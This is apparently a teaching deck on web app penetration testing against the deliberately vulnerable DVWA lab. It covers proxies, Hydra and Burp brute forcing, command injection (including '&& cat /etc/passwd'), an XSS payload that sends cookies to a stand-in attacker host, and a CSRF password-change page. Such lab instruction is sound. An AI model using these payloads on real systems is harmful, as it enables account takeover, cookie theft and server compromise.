Web App Pentesting

Web application penetration testing finds and exploits flaws in web apps. The deck is image-heavy; it works through DVWA (Damn Vulnerable Web Application), a deliberately insecure app built as a safe playground for SQL injection, XSS, CSRF, file upload flaws, command injection and insecure authentication.

Setting up DVWASearch on YouTubeBookmarkSaved

sudo apt update
sudo apt install dvwa
sudo dvwa-start                # start DVWA
# in the browser: finish setup, click "Create/Reset Database", then log in
#   credentials: admin / password
#   set the DVWA Security level to 'low' to begin
sudo dvwa-stop                 # stop DVWA when done

Directory enumeration with GobusterSearch on YouTubeBookmarkSaved

Gobuster in dir mode sends HTTP/HTTPS requests from a wordlist to uncover hidden directories and files such as /admin, /backup.zip or /secret.php.

gobuster dir -u http://127.0.0.1/ -w /usr/share/wordlists/dirb/common.txt

Intercepting web trafficSearch on YouTubeBookmarkSaved

An intercepting proxy sits between the browser and the web app, so you can inspect, modify and resend requests. Both tools below act as a man-in-the-middle proxy.

Browser  ->  Proxy (ZAP / Burp)  ->  Web app (DVWA)
         <-                      <-

OWASP ZAP (ZAProxy)Search on YouTubeBookmarkSaved

ZAP (Zed Attack Proxy) is a free, open-source man-in-the-middle proxy. It stands between the browser and the web app, intercepts messages, and can inspect, modify and forward them.

sudo apt install zaproxy
zaproxy &

Set-up flow:

1. In ZAP: Tools > Options > Network > Server Certificates — save the ZAP certificate to the Desktop.
2. In Firefox: Settings > View Certificates > Import the ZAP certificate, so the browser trusts ZAP.
3. Install the FoxyProxy Firefox extension and add a proxy pointing to ZAP at 127.0.0.1:8080.
4. ZAP now listens on 8080; refresh DVWA and confirm the request is captured.

Burp SuiteSearch on YouTubeBookmarkSaved

Burp Suite is an intercepting proxy with an Intruder module for automated request attacks (fuzzing and brute forcing). The flow is similar: turn on Intercept, capture a request, then send it to a module like Intruder or Repeater.

Vulnerability 1: Brute forcing a loginSearch on YouTubeBookmarkSaved

Scenario: the username is known (admin) and the password is unknown.

a. With the ZAP fuzzerSearch on YouTubeBookmarkSaved

1. Right-click the captured login request and choose Fuzz.
2. Mark the password field as the fuzz location.
3. Add a payload of type File and select a wordlist, e.g. /usr/share/wordlists/fasttrack.txt (about 262 entries).
4. Start fuzzer — ZAP sends all 262 requests and records the responses.
5. Compare the response sizes; the odd one out is the valid login. Here the password is password.

b. With Burp Suite IntruderSearch on YouTubeBookmarkSaved

Target: demo.testfire.net.

1. Turn on Intercept and submit the login (e.g. username admin, password 123).
2. Right-click the request and Send to Intruder (the Intruder tab changes colour).
3. Forward the packet so the page loads in the browser.
4. In Intruder, select the field to brute force and Add the payload. In the free version you type and Add each word to build the list; the Pro version can upload a list.
5. Start attack and watch the response length variation to spot the password. Here the password is admin.

c. With Hydra (HTTP form)Search on YouTubeBookmarkSaved

Hydra can brute force the DVWA login directly against the HTTP GET form. Observe the failure message first (it becomes the F= string).

hydra -l admin -P /usr/share/wordlists/fasttrack.txt 127.0.0.1 http-get-form \
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: PHPSESSID=<your_session_id>; security=low:F=Username and/or password incorrect."

• ^USER^ / ^PASS^ are substituted from -l / -P.
• H=Cookie:... supplies the session cookie and security level, needed because DVWA requires a logged-in session.
• F=... is the failure string; Hydra treats any response not containing it as success.
• Add -s <port> if the web server runs on a non-default port.

Vulnerability 2: Command injectionSearch on YouTubeBookmarkSaved

Command injection (shell injection) lets an attacker run OS commands on the web server. DVWA's page accepts input and runs it as an OS command, so you can chain extra commands with separators:

; ls                 # run ls after the intended command
| whoami             # pipe into another command
&& cat /etc/passwd   # run only if the first command succeeds

This can be escalated to a full reverse shell back to a listener you control (the Lab 10 task).

Vulnerability 3: Cross-Site Scripting (XSS)Search on YouTubeBookmarkSaved

XSS injects malicious script into pages viewed by other users. The browser then executes that script in the context of the vulnerable site, so it runs with the victim's session.

<script>alert('XSS')</script>
<script>document.location='http://attacker/steal?c='+document.cookie</script>

The second example steals the victim's cookies by sending them to the attacker.

Vulnerability 4: Cross-Site Request Forgery (CSRF)Search on YouTubeBookmarkSaved

CSRF tricks a logged-in victim into submitting a state-changing request without meaning to. If the user is already authenticated (holding a valid session), their browser attaches the session automatically, so the forged request succeeds.

Goal: change the victim's DVWA password. The attacker hosts a malicious page containing the password-change link and shares the URL. When the authenticated victim clicks it, the request runs from their browser with their session.

<!DOCTYPE html>
<html>
<head><title>Malicious site</title></head>
<body>
  <h1>Click the button to reset your password!</h1>
  <a href="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=yourname&password_conf=yourname&Change=change">
    <button>Click me!</button>
  </a>
</body>
</html>

Verify the change using DVWA's "test credentials" option.

Quick self-testSearch on YouTubeBookmarkSaved